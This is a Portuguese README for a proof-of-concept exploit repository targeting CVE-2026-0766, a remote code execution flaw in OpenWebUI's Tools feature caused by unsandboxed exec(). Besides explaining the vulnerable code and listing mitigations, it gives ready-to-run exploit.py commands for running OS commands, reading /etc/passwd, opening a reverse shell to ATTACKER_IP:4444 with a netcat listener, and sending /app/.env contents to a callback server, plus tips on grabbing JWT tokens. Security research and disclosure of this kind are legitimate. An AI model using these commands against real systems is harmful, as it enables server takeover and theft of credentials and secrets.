
Prova de conceito de exploit para CVE-2026-0766, uma vulnerabilidade de execução remota de código no OpenWebUI por meio de injeção de código em ferramentas. Inclui modos de execução de comandos, leitura de arquivos, shell reverso e exfiltração cega.
Repositório Educacional de Pesquisa em Segurança
Este repositório contém código de exploração de prova de conceito para CVE-2026-0766, uma vulnerabilidade de execução remota de código no OpenWebUI descoberta e publicada pela Zero Day Initiative (ZDI).
Este repositório destina-se exclusivamente a testes de segurança autorizados e fins educacionais.
O autor não assume responsabilidade pelo uso indevido deste código. Os usuários são os únicos responsáveis por garantir que suas atividades estejam em conformidade com todas as leis e regulamentos aplicáveis.
| Propriedade | Valor |
|---|
| ID CVE | CVE-2026-0766 |
| Descoberta Por | Zero Day Initiative (ZDI) |
| Software Afetado | OpenWebUI |
| Tipo de Vulnerabilidade | Injeção de Código (CWE-94) |
| Pontuação CVSS | 8.8 ALTA |
| Vetor CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Complexidade do Ataque | Baixa (administrador autenticado ou usuário com permissão de criação/atualização de ferramentas pode explorar) |
O OpenWebUI é uma interface web auto-hospedada para Modelos de Linguagem de Grande Porte (LLMs). Ele fornece uma experiência semelhante ao ChatGPT que as organizações podem executar em sua própria infraestrutura, mantendo conversas e dados de LLM no local (on-premises).
O OpenWebUI inclui um recurso "Ferramentas" (Tools) que permite aos usuários estender as capacidades do LLM enviando código Python. Este código é executado no lado do servidor via função exec() do Python sem qualquer sandboxing, validação ou controles de segurança.
Fluxo de exploração:
POST /api/v1/tools/createcontentexec(content, module.__dict__) em utils/plugin.pyInsight principal: O código é executado no momento da criação da ferramenta, não quando o LLM invoca a ferramenta. Isso significa que simplesmente criar uma ferramenta maliciosa aciona a RCE — nenhuma interação adicional é necessária.
Este exploit foi verificado em:
A vulnerabilidade é arquitetural (uso inseguro de exec() em entrada do usuário) e existe em todas as versões até que um patch de segurança seja lançado pela equipe do OpenWebUI.
A vulnerabilidade existe em backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# Pré-processamento mínimo (NÃO é um controle de segurança)
content = replace_imports(content)
# Cria módulo e executa código do usuário
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← VULNERABILIDADE
return module
A função replace_imports() apenas reescreve caminhos de importação (cosmético) — ela não restringe qual código pode ser executado. Não há:
A equipe do OpenWebUI inicialmente avaliou isto como baixa prioridade, observando que a criação de ferramentas requer permissões de administrador. No entanto:
Após o fornecedor propor que administradores deveriam gerenciar isto com acesso restrito, a ZDI publicou isto como uma vulnerabilidade 0-day (ZDI-26-032) para informar os defensores.
O autor respeita os desafios de manter projetos de código aberto. A correção de segurança exige equilibrar necessidades dos usuários, restrições arquiteturais e recursos limitados. Esta publicação visa ajudar equipes de segurança a avaliar riscos e implementar mitigações.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
O script de exploit (exploit.py) suporta múltiplos modos de ataque:
Execute comandos do sistema operacional e recupere a saída:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Leia arquivos do sistema de arquivos do servidor:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Abra um reverse shell (requer listener netcat):
# Na máquina do atacante:
nc -lvnp 4444
# Execute o exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Envie a saída do comando para um servidor de callback HTTP:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
O script aceita tanto tokens JWT (de login SSO) quanto chaves de API:
Obtendo um token JWT:
tokenAuthorization: Bearer ... de qualquer requisição de APIlocalStorage.getItem("token")--token eyJhbGci...Se você executa o OpenWebUI e não pode corrigir imediatamente:
Substitua exec() por uma alternativa segura:
RestrictedPython para execução em sandboxAdicione verificações de permissão:
Defesa em profundidade:
Licença MIT - Consulte o arquivo LICENSE para detalhes.
Este código é fornecido para fins educacionais e de segurança defensiva. O autor não é responsável pelo uso indevido.
Esta vulnerabilidade foi divulgada de forma responsável:
Se você descobrir vulnerabilidades de segurança em projetos de código aberto, siga práticas de divulgação responsável e dê tempo aos mantenedores para corrigir antes da divulgação pública.
Para perguntas ou feedback: Abra uma issue neste repositório.